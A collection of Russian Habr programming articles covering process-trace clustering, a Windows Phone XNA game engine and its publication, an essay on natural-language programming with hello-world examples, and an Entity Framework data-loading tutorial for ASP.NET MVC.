С помощью нескольких строк кода мы получаем распределение количества процессов в кластере. На гистограмме можно увидеть, как сильно выделяется одна группа, в которой чуть меньше 25 000 случаев. Как и tSNE, DBSCAN выделил короткие трассы из 1 действия в один кластер. А ещё есть больше 2000 выбросов (то, что алгоритм пометил как «-1»). Остальные выделяются не так сильно.
А вот так выглядит распределение без аномально коротких трасс и отмеченных алгоритмом выбросов:
Итак, мы испытали 3 алгоритма, чтобы выполнить кластеризацию. На разбиение сильнее всего повлияла средняя длина трассы, что можно увидеть на графиках. При снижении размерности этот признак оставался как базис. Значит, нужно выяснить, как же получилось, что такое огромное количество процессов записано или выполнено неверно.
На этом этапе можно предположить, что:
— ИС собирает данные не всегда корректно
— ИС может зависать: исполнитель нажимает кнопку несколько раз, регистрируется несколько действий подряд (об этом говорят 1-5-секундные интервалы между некоторыми действиями).
Мы выстроили предположения относительно технических вопросов. Но действия выполняются людьми, и выполняются не всегда корректно. Одно дело указывать на ошибки автоматизированной системы, совершенно другое – на неверные шаги людей. Чтобы дать рекомендации относительно их исправления, необходимо найти конкретную причину в поведении. Люди могут ошибаться вечером, когда они устали. Или в предпраздничный период, когда мысли о работе где-то далеко. А может, это новый сотрудник, который не разобрался в системе? PCA и tSNE – прекрасные инструменты, которые помогут извлечь нужные признаки: не нужно будет выстраивать море статистик, чтобы понять, какие векторы составляют базис. Все уже есть «под капотом». Для проверки влияния различных факторов можно (и даже нужно) использовать описанные алгоритмы и получать долгожданные инсайты. | https://habr.com/ru/post/565404/ | null | ru | null |
# Разработка игры под Windows Phone
В этой статье я хочу рассказать о своем опыте написания игры под платформу Windows Phone. Несмотря на кажущуюся простоту, путь от идеи до принятия игры в Windows Phone Store занял практически год и был полон неожиданных подводных камней — как с технической, так и с организационной сторон. Статья рассчитана на начинающих разработчиков, которые имеют представление о .NET / C#, но не пробовали делать полноценных игр.
Идея
----
Сложно вспомнить, как именно пришла идея написать игру. В школьной и институтской юности я развлекался написанием игрушек на конструкторах игр типа [Multimedia Fusion](http://www.clickteam.com/website/world/multimedia-fusion-2), однако система «событие-действие» довольно неудобна для описания сложной логики. Выбор в пользу Windows Phone пал по следующим причинам:
* На тот момент (год назад) в маркете было очень мало приложений, моя игра не затеряется.
* Игры можно писать на C#, который мне хорошо знаком.
* Мой коллега [DiverOfDark](https://habrahabr.ru/users/diverofdark/), с помощью которого я потом публиковал игру, купил себе Windows Phone и расхваливал его во всех красках, пророча платформе феерический успех.
Я написал другу и поведал ему, что хочу написать игру для телефона: очередной ремейк [классической игровой механики тридцатипятилетней давности](http://en.wikipedia.org/wiki/Space_Invaders), порядка 30 уровней с несколькими боссами. Друг согласился заняться графикой, а я сел изучать инструментарий.
 
**Выводы:**
* Не обязательно писать игру под платформу, которой пользуешься сам.
* Люди любят классические игры. Не обязательно открывать новый жанр и изобретать радикально новые неизведанные игровые механики, однако вылизывать ее до мелочей все же необходимо.
На чем писать?
--------------
Актуальной на тот момент версией платформы была *WP 7.5 Mango*, позволявшая использовать и Silverlight, и XNA в одном приложении. Это оказалось очень кстати, поскольку XNA является довольно куцым фреймворком, предоставляющим только спартанский минимум функционала. Silverlight можно использовать для меню и прочих «спокойных» страниц с текстом, кнопками и полями ввода, а саму игру отрисовывать на специальной XNA-странице.
Примеры игр, которые можно скачать с сайта Microsoft и поковырять, показывали слабо подходящие для разработки нормальной игры практики. Все переменные объявлялись в качестве свойств прямо в классе сцены, и если для игры из одного задника и двух объектов это еще простительно, то при создании сколько-нибудь сложных сцен код превратится в неподдерживаемое месиво. Поиск подходящих игровых движков тоже не принес желаемых успехов: почти все движки ориентированы на 3D игры, а наша игра исключительно 2D. Так было принято решение потешить жажду велосипедостроения и написать свой небольшой движок для внутреннего пользования.
Когда движок уже подавал сознательные признаки жизни, анонс Windows Phone 8 стал для меня приятной неожиданностью, которая, однако, быстро переросла в неприятную: XNA поддерживается теперь только в режиме совместимости, а официального способа писать игры для WinPhone на C# Microsoft больше не предлагает! Однако начинать изучать новую технологию и переписывать все под нее было абсолютно нереально, и пришлось довольствоваться режимом совместимости, который, к счастью, никаких неожиданных подводных камней не приготовил.
**Выводы:**
* Microsoft так часто меняет свои приоритеты, что кладет как на разработчиков, так и на пользователей.
Свой 2D движок
--------------
Основной задачей движка была организация кода и предоставление ООП-каркаса, на котором можно было бы строить схему классов предметной области. Для тех, кому хочется посмотреть на код или использовать движок для своей игры — на здоровье, он доступен под лицензией MIT [на гитхабе](https://github.com/impworks/xna.geek.engine).
Базовый класс `VisualObjectBase` обеспечивал наличие двух абстрактных методов `Update` и `Draw`, повсеместно используемых в XNA-играх, а также хранил положение объекта и позволял вычислять его размеры (bounding box).
От `VisualObjectBase` наследовался `DynamicObject`, добавлявший объектам такие свойства, как прозрачность, угол поворота, масштаб и их производные, а также линейную скорость. Объект наделялся списком анимированных свойств (animated property) и поведений (behaviour), о которых чуть ниже. Дальше по иерархии стоял `InteractiveObject`, обеспечивающий проверку столкновений, положения объекта и нажатий на него пальцем (tap), а за ним — `GameObject`, в котором появлялись спрайты. Большинство пользовательских объектов в игре являются наследниками `GameObject`.
Для хранения заранее неизвестного множества однотипных объектов существует класс `ObjectGroup`: он наследуется от `DynamicObject` и по сути представляет собой обертку над `List`.
На картинке приведена примерная схема классов в движке. Сплошная стрелка — «наследует», пунктирная — «использует».
Наиболее значимые проблемы, решаемые с помощью движка, рассмотрим более подробно.
#### Проверка столкновений
Даже такой важной вещи, как проверка столкновений, в XNA по умолчанию не оказалось. Пришлось искать компромисс между скоростью работы и точностью, который нашел отражение в следующем коде (несколько упрощен для статьи):
```
public override bool IsOverlappedWith(InteractableObject obj)
{
var box1 = GetBoundingBox(true);
var box2 = obj.GetBoundingBox(true);
var isect = Rectangle.Intersect(box1, box2);
if (isect.IsEmpty)
return false;
var gameObject = obj as GameObject;
// Check whether both objects are GameObjects and are neither rotated nor scaled
if (gameObject == null
|| !Scale.IsAlmost(1)
|| !obj.Scale.IsAlmost(1)
|| !Angle.IsAlmostNull()
|| !gameObject.Angle.IsAlmostNull()
)
return true;
// Convert it from screen coordinates to texture coordinates
Rectangle textureRect1 = isect, textureRect2 = isect;
textureRect1.X -= box1.X;
textureRect1.Y -= box1.Y;
textureRect2.X -= box2.X;
textureRect2.Y -= box2.Y;
var colorData1 = GetCurrentAnimation().GetTextureRegion(textureRect1);
var colorData2 = gameObject.GetCurrentAnimation().GetTextureRegion(textureRect2);
// check every 2nd pixel for the sake of speed
for (var idx = 0; idx < colorData1.Length; idx += 2)
if (colorData1[idx].A != 0 && colorData2[idx].A != 0)
return true;
return false;
}
```
Суть примера довольно проста: сначала проверяется пересечение прямоугольников, ограничивающих объекты. Если они не пересекаются, то объекты заведомо не могут столкнуться, в противном же случае производится попиксельное сравнение участка текстур, находящегося в месте пересечения прямоугольников. После того, как владелец *HTC Mozart* пожаловался на заметные лаги при проверке столкновений у многих объектов, пришлось пожертвовать точностью механизма и проверять только каждый второй пиксель.
#### Анимированные свойства
В реальном мире равномерных движений практически не существует: когда объект начинает двигаться, он постепенно ускоряется, а перед остановкой также постепенно тормозит. Чтобы движения объектов в игре выглядели более естественно и привлекательно, были использованы немного переработанные [easing-формулы Роберта Пеннера](http://www.robertpenner.com/easing/easing_demo.html). Универсальный механизм позволяет применять неравномерное постепенное изменение к любому `float`-свойству объекта, а через него косвенно к значениям типа `Vector2` или `Color`.
#### Поведения
По сути, это [шаблон проектирования «Стратегия»](http://ru.wikipedia.org/wiki/%D0%A1%D1%82%D1%80%D0%B0%D1%82%D0%B5%D0%B3%D0%B8%D1%8F_(%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F)): у каждого объекта типа `DynamicObject` есть список объектов типа `IBehaviour`, каждый из которых имеет ссылку на родительский объект и имеющий возможность управлять его свойствами, выполняя произвольный код.
Такой подход позволяет очень сильно упростить описание игровой логики, сведя его к комбинированию нескольких готовых «рецептов». Например, на всех врагов можно одним махом навесить «поведение», заставляюшее их мерцать после попадания в них пули игрока, рассыпаться снопом искр после смерти, дребезжать, отскакивать от стен и двигаться по сложным тракториям.
#### Взаимодействие с touchscreen
Для получения информации о нажатиях на экран используется класс `TouchPanel` и его метод `GetState`. В [документации по этому методу](http://msdn.microsoft.com/en-us/library/microsoft.xna.framework.input.touch.touchpanel.getstate.aspx) и [примерах использования](http://msdn.microsoft.com/en-us/library/ff434208.aspx) ничего не было написано, однако состояние `TouchCollection` обновляется при каждом вызове. Таким образом, если в дереве объектов несколько из них вызывают `GetState`, то только первый из них увидит нажатия с состояниями `Pressed` и `Released`! У остальных объектов `Pressed` превратится в `Moved`, а `Released` будет вообще исключен из коллекции. Движок обернул эту шероховатость, кешируя у себя однократно получаемый `TouchCollection`, которая доступна всем объектам в дереве.
#### Отложенные действия
Представим себе типичную игровую ситуацию: если некий объект улетел за пределы экрана, его нужно уничтожить. Это можно представить в виде следующего псевдокода:
```
foreach(var bullet in Bullets)
if(bullet.LeavesPlayfield())
Bullets.Remove(bullet);
```
Однако такой код выдаст исключение, поскольку изменение коллекции во время ее обхода в цикле `foreach` запрещено. Что же делать? Самым элегантным решением проблемы было создание глобального списка [продолжений](http://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B4%D0%BE%D0%BB%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5), и код стал работать примерно вот так:
```
var cont = new List();
foreach(var bullet in Bullets)
if(bullet.LeavesPlayfield())
cont.Add(() => Bullets.Remove(bullet));
foreach(var act in cont)
cont();
```
**Выводы:**
* Велосипедостроение — не всегда плохо, особенно если оно сводится к написанию helper-методов.
* Предварительное создание списка всего требуемого функционала в виде заданий на каком-нибудь task tracker'е очень хорошо помогает бороться с [разрастанием требований](http://en.wikipedia.org/wiki/Feature_creep).
Поиск художников и музыкантов
-----------------------------
К концу мая проект был готов более чем наполовину, и вдруг случилось непредвиденное: мой друг, рисовавший графику для игры, получил повышение на работе, в связи с чем свободного времени для нашего проекта у него не стало. Проект застопорился на всё лето, и хотя за это время я и написал немного кода, мотивации для работы в одиночку явно не хватало.
Ближе к августу я думал, что игра заглохла и доделывать ее не имеет смысла. Тут на помощь пришли волшебные пендали от коллег; я сократил требования к игре (отказался от боссов и story mode) и отправился на поиски художников-фрилансеров.
Самым эффективным местом, где можно найти pixel artist'а, оказался форум [Job Offerings на сайте PixelJoint](http://www.pixeljoint.com/forum/forum_topics.asp?FID=11): за ночь мне написало больше десяти человек, предложив свою помощь и дав ссылки на портфолио. С одним из них я договорился и работа закипела вновь.
Разброс цен был довольно существенным. Американцы и европейцы просили за свои услуги почти четырехкратную стоимость по сравнению с коллегами из стран СНГ, хотя разницы в качестве практически не было. Бывают и очень странные личности: один американец, хваставшийся участием в «выпущенных под Game Boy Advance проектах», до сих пор время от времени пишет в скайп и просит одолжить ему $100 в счет работы над будущими проектами со мной.
Один из посетителей форума, узнав, что я уже нашел художника, предложил свою помощь в качестве музыканта. Первоначально написанные им мелодии мне не очень понравились, однако после некоторой конструктивной критики мне удалось убедить его переписать музыку так, чтобы она больше подходила к игре.
**Выводы:**
* Даже за маленькие, но фиксированные деньги художники находятся и работают куда активнее, нежели за идею или процент от прибыли. Если вы правда хотите доделать и выпустить проект — следует учесть первоначальные инвестиции.
* Лучше выпустить какую-то часть игры и дорабатывать ее после, нежели пытаться сделать сразу всё и рисковать не выпустить ничего.
Тестирование и отправка в Windows Phone Store
---------------------------------------------
На носу было католическое рождество. Я хотел выпустить игру поскорее, в результате чего пожадничал времени на тестирование, и очень зря. Исправив несколько найденных ошибок, я решил, что игра готова, и отправил ее в Store. Первоначальная сертификация заняла неделю, и буквально за несколько часов до того, как игру приняли, мне написал друг и сказал, что нашел новый существенный баг, из-за которого игра зависает намертво. Пришлось собирать новую версию и ждать еще 5 дней, когда ее проверят.
При принятии приложения в Windows Phone Store никто не проверяет его фактическую значимость. Microsoft в этом вопросе руководствуется идеей о том, что заведомо никудышные приложения сами отфильтруются низкими оценками. На практике же [неописуемого](http://www.windowsphone.com/en-us/store/app/xnapage1/16926456-2c84-4f6d-ac74-6674755de0fd) [говна](http://www.windowsphone.com/en-us/store/app/killtheduck_v1/0c5fbe6f-be1b-4c1a-bf2c-fb3d49dd0b6c) [в](http://www.windowsphone.com/en-us/store/app/z-archer/a65b8878-3c1b-425a-be32-21c91c5dc7b9) [маркетe](http://www.windowsphone.com/en-us/store/app/love-message-extender/e22856c7-24cc-46ee-bf96-17d36adc016a) [очень](http://www.windowsphone.com/en-us/store/app/laser-tag/51aca357-1aad-4d67-b1d3-f730e9804467) [много](http://www.windowsphone.com/en-us/store/app/silly-eye/8bae4eec-10f8-4b52-954c-d7b6b5e8297b).
Для увеличения шансов того, что игра пройдет сертификацию с первого раза, следует уделить особое внимание следующим вещам:
* **Приложение не имеет права самовольно запускать свою музыку, если уже играет пользовательская**. Лучше всего показать сообщение с запросом «включить саундтрек или нет?», но можно и просто оставить пользователя с той музыкой, которая играет у него в плеере. Этот случай проверяют в 100% случаев и нарушение этого правила **гарантирует отказ**.
* **Приложение должно быть стабильным**. Если оно упадет при каких-то базовых действиях, скорее всего, сертификацию оно не пройдет.
**Выводы:**
* Время, первоначально выделенное на тестирование, нужно умножать на два. Дважды.
Полезные службы и сервисы
-------------------------
Для облегчения работы с падением приложения есть удобный сервис [BugSense](https://www.bugsense.com/). Исключения автоматически классифицируются по callstack'у и присылаются вам по почте. Хорошим тоном является создание специальной страницы, переход на которую осуществляется при возникновении необработанного исключения: на ней можно написать нечто вроде "*Что-то сломалось, но не волнуйся, милый пользователь, стектрейс уже на полпути, а мы в поте лица работаем над проблемой!*". Мелочь, а приятно ©.
Для сбора статистики отлично подходит [Flurry](http://www.flurry.com/). Количество различных статистических срезов впечатляет:
* Количество новых, уникальных, постоянных пользователей
* Количество и средняя продолжительность сессии
* География и системная локаль
* Модель телефона
* Пол, возраст пользователя
* Масса других показателей
Оба сервиса могут быть использованы бесплатно (правда, BugSense c некоторыми ограничениями). Однако у подключения статистики есть и неожиданное негативное свойство: список требований приложения в маркете пополняется сразу четыремя довольно страшно звучащими пунктами:
* **Удостоверение телефона** — требуется для сбора информации о моделях телефонов.
* **Удостоверение владельца** — требуется для сбора информации о количестве уникальных пользователей и сессий.
* **Службы определения местоположения** — требуется для сбора географических сведений.
* **Службы данных** — требуется для отправки статистики и crash reports.
Кроме того, если ваша игра проигрывает музыку через `MediaPlayer.Play()`, в списке требований также появится пункт "**библиотеки фото, музыки и видео**".
**Выводы:**
* В комментариях может завестись какой-нибудь параноик, но не стоит придавать его словам слишком много внимания — статистика важнее.
Реклама
-------
Как привлечь пользователей в свою игру или приложение? Есть несколько способов:
1. Купить рекламу на каком-нибудь тематическом сайте или в приложениях.
2. Если у вас \ ваших друзей есть другие популярные приложения, поместить рекламу в них.
3. Воспользоваться сервисом [AdDuplex](http://www.adduplex.com/): вы показываете у себя рекламу других приложений, а они — вашу.
4. Размещать информацию на тематических форумах, группах в соцсетях, реддитах и верещать в твиторе.
В моем случае самым эффективным способом оказался последний: разместив на форуме [WPCentral](http://www.wpcentral.com/) небольшое сообщение со скриншотами, видео на youtube и ссылкой, на следующее утро я обнаружил красующийся на главной странице обзор, выросшую в пять раз статистику скачиваний и упоминание в официальном аккаунте [Nokia USA](https://twitter.com/NokiaUS).
**Выводы:**
* Чудеса случаются :)
Подводя итог
------------
Пока сложно сказать, насколько коммерчески успешной получилась игра, но то, что доведение продукта от идеи до готовности дает массу полезного жизненного опыта — бесспорно. Надеюсь, кому-то мои заметки и мысли вслух сэкономят пару набитых шишек на лбу.
**P.S.** Прямых ссылок на свою игру сознательно не даю, но любопытный пользователь, внимательно читавший статью, без труда сможет ее найти. | https://habr.com/ru/post/164969/ | null | ru | null |
# Следующий язык программирования
«Однажды вечером Резерфорд зашел в лабораторию. Хотя время было позднее, в лаборатории склонился над приборами один из его многочисленных учеников.
– Что вы делаете так поздно? – спросил Резерфорд.
– Работаю, – последовал ответ.
– А что вы делаете днем?
– Работаю, разумеется, – отвечал ученик.
– И рано утром тоже работаете?
– Да, профессор, и утром работаю, – подтвердил ученик, рассчитывая на похвалу из уст знаменитого ученого.
Резерфорд помрачнел и раздраженно спросил:
– Послушайте, а когда же вы думаете?»
Захотелось прикинуть наиболее вероятное возможное направление развития программирования.
1. Краткая история языков программирования
2. Имеющиеся на данный момент потенциальные возможности
3. Выводы из вышеизложенного
#### Краткая история языков программирования.
Извиняюсь за избыточный для большинства текст, просто такое изложение мне кажется более наглядным, для дальнейшего объяснения.
К протоязыкам с некоторой натяжкой можно притянуть программирование при помощи обычных электрических переключателей. Но это для меня уже слишком…
Поэтому для собственного душевного спокойствия приму за первый язык — **машинный код**.
Hello World:
```
BB 11 01 B9 0D 00 B4 0E 8A 07 43 CD 10 E2 F9 CD 20 48 65 6C 6C 6F 2C 20 57 6F 72 6C 64 21
```
Который впоследствии привели к хоть немного читаемому виду — **ассемблеру**.
Hello World:
```
CODE SEGMENT
ASSUME CS:CODE, DS:CODE
ORG 100h
START:
mov ah,9
mov dx,OFFSET Msg
int 21h
int 20h
Msg DB 'Hello World',13,10,'$'
CODE ENDS
END START
```
Но ассемблер тоже не очень прост и интуитивно понятен при прочтении.
И после него приходят всевозможные **Фортран, Паскаль, С** и прочие.
Hello World (Паскаль):
```
program HelloWorld;
begin
write('Hello, World!');
end.
```
Думаю тенденция очевидна.
#### Имеющиеся на данный момент потенциальные возможности.
Распознавание голоса. Например — [habrahabr.ru/post/157333](http://habrahabr.ru/post/157333/)
Текстовые компиляторы (литературное программирование). Например — [habrahabr.ru/post/72310](http://habrahabr.ru/post/72310/)
Машинный перевод. Например — [habrahabr.ru/post/155675](http://habrahabr.ru/post/155675/)
Проверка орфографии. Например — [habrahabr.ru/post/50137](http://habrahabr.ru/post/50137/)
Системы АСУТП. Например — [habrahabr.ru/post/139180](http://habrahabr.ru/post/139180/)
Разумеется не указано сколько-нибудь существенной части возможностей, но их явно достаточно много.
#### Выводы из вышеизложенного
Из истории языков программирования особенно явно заметно их приближение к обычной человеческой речи.
А в имеющихся возможностях просматривается достаточно серьезная готовность к реализации чего-то подобного.
Есть практически всё необходимое, кроме полноценного компилятора. Вплоть до того, что базовую версию того-же Inform7, получается, можно создать прямо сейчас.
Каким-же должен быть данный компилятор?
Как я понимаю, если получить в качестве результата компиляции программу на каком-либо из языков верхнего уровня, например C, то дальнейшая компиляция в машинный код особых проблем доставить не должна.
Скорее наоборот в качестве бонуса будет обеспечена кроссплатформенность.
И тут вроде как 2 пути:
1. Исходить из человеческой речи, подбирая к ней команды
2. Исходить из языка программирования, подбирая к нему человеческие фразы.
**Вариант отталкиваться от человеческой речи** безусловно интереснее.
В определении части речи может очень помочь что-то подобное — [habrahabr.ru/post/152799](http://habrahabr.ru/post/152799/)
И это — [habrahabr.ru/post/148124](http://habrahabr.ru/post/148124/)
Существительное — имя или часть имени переменной
Прилагательное — имя или часть имени переменной
Числительное — константа, как вариант имя или часть имени переменной, возможен warning с уточнением у программиста
Местоимение — имя или часть имени переменной
Глагол — команда (в некоторых случаях возможно условие)
Союз, наречие, предлог, частица, междометие — имя им легион и каждое может быть как условием, так и переменной и командой и чем угодно.
Причем потребуют решения очевидно:
* Возможность переменных из нескольких слов (входная дверь, окно в детской, температура на улице и прочее)
* Какие-то финты ушами потребуются для математики и графики, которые на данный момент максимально не похожи на человеческую речь.
* Похожие проблемы с аббревиатурами, именами собственными (Дживахарлал Неру) и адресами интернет сайтов
* Прочее
И хотя для реализации нет задачи добиться понимания компьютером человека, а есть лишь задача перевести слова в действия — все равно этот вариант по видимому сложнее.
Чем **вариант отталкиваться от команд компилятора**.
Тут кажется уже проще.
Занести в базу весь имеющийся набор команд и каждой команде присвоить один или несколько голосовых аналогов (синонимов). Все, что отсутствует в базе — считать переменными, константами или мусором.
Но этот путь далек от совершенства.
Придется запоминать имеющийся набор фраз, соответствующих командам и втолковывать в микрофон только их. Соответственно фатальный контроль речи, выдержать который смогут не все.
Хотя возможно расширение функционала, в сторону слияния с натуральными языками. Но не думаю, что удастся настолько поднять функционал.
И наконец, **компромиссный вариант — движение в обоих направлениях одновременно.**
И у первого и у второго вариантов конечная цель, это некий набор правил, по которому речь становится программой. Таблица соответствий человеческих фраз, слов и их синонимов — командам или последовательностям команд компьютера.
Соответственно вполне можно допустить, что при развитии обоих направлений — рано или поздно они сойдутся в одну цельную систему.
Хотя тут куча нюансов. Например, если что-то подобное действительно будет реализовано — программистам с дефектами речи придется непросто.
Отечественным программистам потребуется отдельная запись соответствующая мату, и не приводящая к попыткам ее запрограммировать. А то так и Терминатора можно случайно получить…
Но с другой стороны по мне так одна только возможность программировать, отлаживать и запускать программы по телефону, гуляя по улице, или дожидаясь заказа в кафе — уже стоит того. Также нравятся то, что можно будет дистанционно одним звонком выключить дома плиту, закрыть краны, перед приходом зимой включить чайник и нагреть комнату до 28С.
Хотя для тех у кого жена возвращается с работы раньше — это уже не так актуально.
«Известно и другое суеверие того времени: Человек Книги. На некоей полке в некоем шестиграннике (полагали люди) стоит книга, содержащая суть и краткое изложение всех остальных: некий библиотекарь прочел ее и стал подобен Богу. В языке этих мест можно заметить следы культа этого работника отдаленных времен. Многие предпринимали паломничество с целью найти Его. В течение века шли безрезультатные поиски.»
[Х.Л. Борхес «Вавилонская библиотека»](http://www.lib.ru/BORHES/kniga.txt)
А вообще есть в этом что-то забавное — например возможность использовать кассетный магнитофон для хранения куска кода. Ну сначала его от Синклера отключить, а потом хранить. На кассетах TDK и BASF. | https://habr.com/ru/post/158087/ | null | ru | null |
# Учебный курс. Загрузка данных с Entity Framework в приложении ASP.NET MVC
Это продложение цикла статей, посвященого разработке с помощью Entity Framework и ASP.NET MVC 3. Первые главы вы можете найти по следующим ссылкам:
* [Создание модели данных Entity Framework для приложения ASP.NET MVC](http://msdn.microsoft.com/ru-ru/hh559531 "Создание модели данных Entity Framework для приложения ASP.NET MVC")
* [Реализация базовой CRUD-функциональности с Entity Framework в приложении ASP.NET MVC](http://msdn.microsoft.com/ru-ru/hh559490 "Реализация базовой CRUD-функциональности с Entity Framework в приложении ASP.NET MVC")
* [Сортировка, фильтрация и разбиение по страницам с Entity Framework в приложении ASP.NET MVC](http://msdn.microsoft.com/ru-ru/hh547468 "Сортировка, фильтрация и разбиение по страницам с Entity Framework в приложении ASP.NET MVC")
* [Создание сложной модели данных для приложения ASP.NET MVC](http://msdn.microsoft.com/ru-ru/hh546908 "Создание сложной модели данных для приложения ASP.NET MVC")
* [Создание сложной модели данных для приложения ASP.NET MVC, часть 2](http://msdn.microsoft.com/ru-ru/hh546951 "Создание сложной модели данных для приложения ASP.NET MVC, часть 2")
В прошлом уроке мы завершили работу над моделью данных School. В этом уроке мы загрузим и отобразим необходимые данные, подгружаемые Entity Framework в navigation properties.
На иллюстрации изображены результаты нашей работы.
#### Lazy, Eager, и Explicit загрузка необходимых данных
Есть несколько методов, которыми пользуется EF для загрузки необходимых данных в navigation properties сущности:
* *Lazy**loading*. При первом обращении к сущности, соответствующие связанные данные не загружаются. Однако, при первом обращении к navigation property, связанные данные загружаются автоматически. При этом к базе совершается множество запросов: один для сущности и по одному каждый раз при загрузке данных.
* *Eager**loading*. Данные загружаются при обращении к сущности. Обычно это сопровождается одним запросом join, который возвращает все данные. Можно указать использование eager loading с помощью метода Include.
* *Explicit**loading*. Данный метод похож на lazy loading за исключением того, что вы сами указываете на загрузку данных – это не происходит автоматически при обращении navigation property. Данные загружаются вручную с помощью object state manager сущности и вызова метода Collection.Load для коллекций и метода Reference.Load для свойств с одним значением. (в примере, если вы хотите загрузить Administrator navigation property, замените Collection(x => x.Courses) на Reference(x => x.Administrator).)
Из-за того, что данные не сразу же загружаются, lazy loading и explicit loading имеют общее название *deferred**loading*.
В целом, если у вас есть необходимость в данных для каждой сущности, метод eager loading предлагает наилучшую производиетльность потому, что один запрос обычно эффективнее нежели множество запросов для каждой сущности. Для примера, представьте, что на каждом факультете проводится десять курсов. Пример для eager loading будет сопровождаться одним join-запросом. Примеры для lazy loading и explicit loading будут сопровождаться одиннадцатью.
С другой стороны, если доступ к navigation properties сущностям осуществляется редко или используется малое количество сущностей, lazy loading может быть эффективнее — eager loading будет загружать больше данных чем нужно. Обычно explicit loading используется только тогда, когда выключен lazy loading. Допустим, есть ситуация, когда lazy loading может быть выключен в процессе сериализации, когда вы уверены, что все navigation properties вам не нужны. Если lazy loading включен, все navigation properties загрузятся автоматически, так как сериализация обращается ко всем свойствам.
Класс контекста базы данных использует lazy loading по умолчанию. Есть два способа выключить lazy loading:
* При объявлении navigation properties пропустите указание модификатора virtual.
* Для всех navigation properties укажите LazyLoadingEnabled как false.
Lazy loading может скрывать код, вызывающий проблемы с производительностью. Например, код, не использующий eager или explicit loading но использующий большое количество сущностей и несколько navigation properties в цикле может быть очень неэффективным из-за большого количества обращений к базе данных, но всё будет в порядке, если использовуется lazy loading. Временное отключение lazy loading – один из способов отыскать код, ориентирующийся на использование lazy loading. В этом navigation properties будут равны Null и будет инициирована ошибка.
**Создание страницы** **Courses****Index**
Сущность Course имеет navigation property, содержащую в себе сущность Department – сущность факультета, которому принадлежит данный курс. Чтобы отобразить имя факультета, нужно обратиться к свойству Name соответствующей сущности.
Создайте контроллер типа Course:
В *Controllers\CourseController.cs* обратите внимание на метод Index:
```
public ViewResult Index()
{
var courses = db.Courses.Include(c => c.Department);
return View(courses.ToList());
}
```
Автоматический scaffolding определяет использование eager loading для Department navigation property с помощью метода Include.
В *Views\Course\Index.cshtml* замените код на:
```
@model IEnumerable
@{
ViewBag.Title = "Courses";
}
Courses
-------
@Html.ActionLink("Create New", "Create")
| | Number | Title | Credits | Department |
| --- | --- | --- | --- | --- |
@foreach (var item in Model) {
|
@Html.ActionLink("Edit", "Edit", new { id=item.CourseID }) |
@Html.ActionLink("Details", "Details", new { id=item.CourseID }) |
@Html.ActionLink("Delete", "Delete", new { id=item.CourseID })
|
@Html.DisplayFor(modelItem => item.CourseID)
|
@Html.DisplayFor(modelItem => item.Title)
|
@Html.DisplayFor(modelItem => item.Credits)
|
@Html.DisplayFor(modelItem => item.Department.Name)
|
}
```
Были внесены следующие изменения:
* Заголовок изменён на **Courses**.
* Строки выровнены по левому краю.
* Добавлен стобец под заголовком **Number**, отображающий значение свойства CourseID. (Первичные ключи обычно не включаются в страницу, так как не имеют смысла, но в данном случае значение осмысленное и его необходимо показать.
* Заголовок последнего столбца изменен на **Department**.
Обратите внимание, что для последнего столбца отображено значение свойства Name сущности Department из Department navigation property:
```
@Html.DisplayFor(modelItem => item.Department.Name)
|
```
Выберите пункт Courses чтобы увидеть список с названиями факультетов.
![clip_image001[1]](https://habrastorage.org/r/w1560/getpro/habr/post_images/e68/a0c/2a0/e68a0c2a0dddfe6d27bfd3fe9ada6ca8.png "clip_image001[1]")
**Создание** **Instructors****Index****Page****со списком курсов и слушателей этих курсов**
Вы создадите контроллер и представление для сущности Instructor для отображения страницы Instructors Index:
![clip_image002[1]](https://habrastorage.org/r/w1560/getpro/habr/post_images/135/774/dff/135774dff7adde1c98bba97690870fd3.png "clip_image002[1]")
Загрузка и отображение данных происходит по следующему сценарию:
* Список преподавателей отображает соответствующие данные сущности OfficeAssignment. Сущности Instructor и OfficeAssignment связаны один-к-нулю-или-к-одному. Для сущности OfficeAssignment используется eager loading.
* Когда пользователь выбирает преподавателя, отображаются связанные сущности Course. Сущности Instructor и Course связаны многие-ко-многим. Вы будете использовать eager loading для сущностей Course и связанным с ними сущностей Department. В этом случае lazy loading будет более эффективно, потому что необходимо выгружать данные о курсах только для выбранного преподавателя. Однако в примере показано использование eager loading.
* Когдап ользователь выбирает курс, отображаются данные сущности Enrollments. Сущности Course и Enrollment связаны один-ко-многим. Вы добавите explicit loading для сущности Enrollment и связанным с ней сущностей Student. (При включенном lazy loading использование Explicit loading необязательно, но мы просто покажем как работает explicit loading.)
**Создание модели представления для представления** **Instructor****Index**
На странице Instructor Index отображается три различных таблицы. Для этого мы создадим модель представления, включающую в себя три свойства, каждое из которых содержит в себе данные для каждой из таблиц.
В папке *ViewModels* создайте *InstructorIndexData.cs*:
```
using System;
using System.Collections.Generic;
using ContosoUniversity.Models;
namespace ContosoUniversity.ViewModels
{
public class InstructorIndexData
{
public IEnumerable Instructors { get; set; }
public IEnumerable Courses { get; set; }
public IEnumerable Enrollments { get; set; }
}
}
```
#### Стили для выделенных столбцов
Для выделенных столбцов необходим отдельный цвет фона. Для того, чтобы сделать это, добавьте следующий код в *Content**\**Site**.**css*:
```
/* MISC
----------------------------------------------------------*/
.selectedrow
{
background-color: #EEEEEE;
}
```
#### Создание контроллера и представлений для Instructor
Создайте контроллер типа Instructor:
В *Controllers\InstructorController.cs* добавьте using для ViewModels:
using ContosoUniversity.ViewModels;
Сгенерированный код в методе Index определяет использование eager loading только для OfficeAssignment navigation property:
```
public ViewResult Index()
{
var instructors = db.Instructors.Include(i => i.OfficeAssignment);
return View(instructors.ToList());
}
```
Замените метод Index следующим кодом, который загружает дополнительные данные и кладёт их в модель представления:
```
public ActionResult Index(Int32? id, Int32? courseID)
{
var viewModel = new InstructorIndexData();
viewModel.Instructors = db.Instructors
.Include(i => i.OfficeAssignment)
.Include(i => i.Courses.Select(c => c.Department))
.OrderBy(i => i.LastName);
if (id != null)
{
ViewBag.InstructorID = id.Value;
viewModel.Courses = viewModel.Instructors.Where(i => i.InstructorID == id.Value).Single().Courses;
}
if (courseID != null)
{
ViewBag.CourseID = courseID.Value;
viewModel.Enrollments = viewModel.Courses.Where(x => x.CourseID == courseID).Single().Enrollments;
}
return View(viewModel);
}
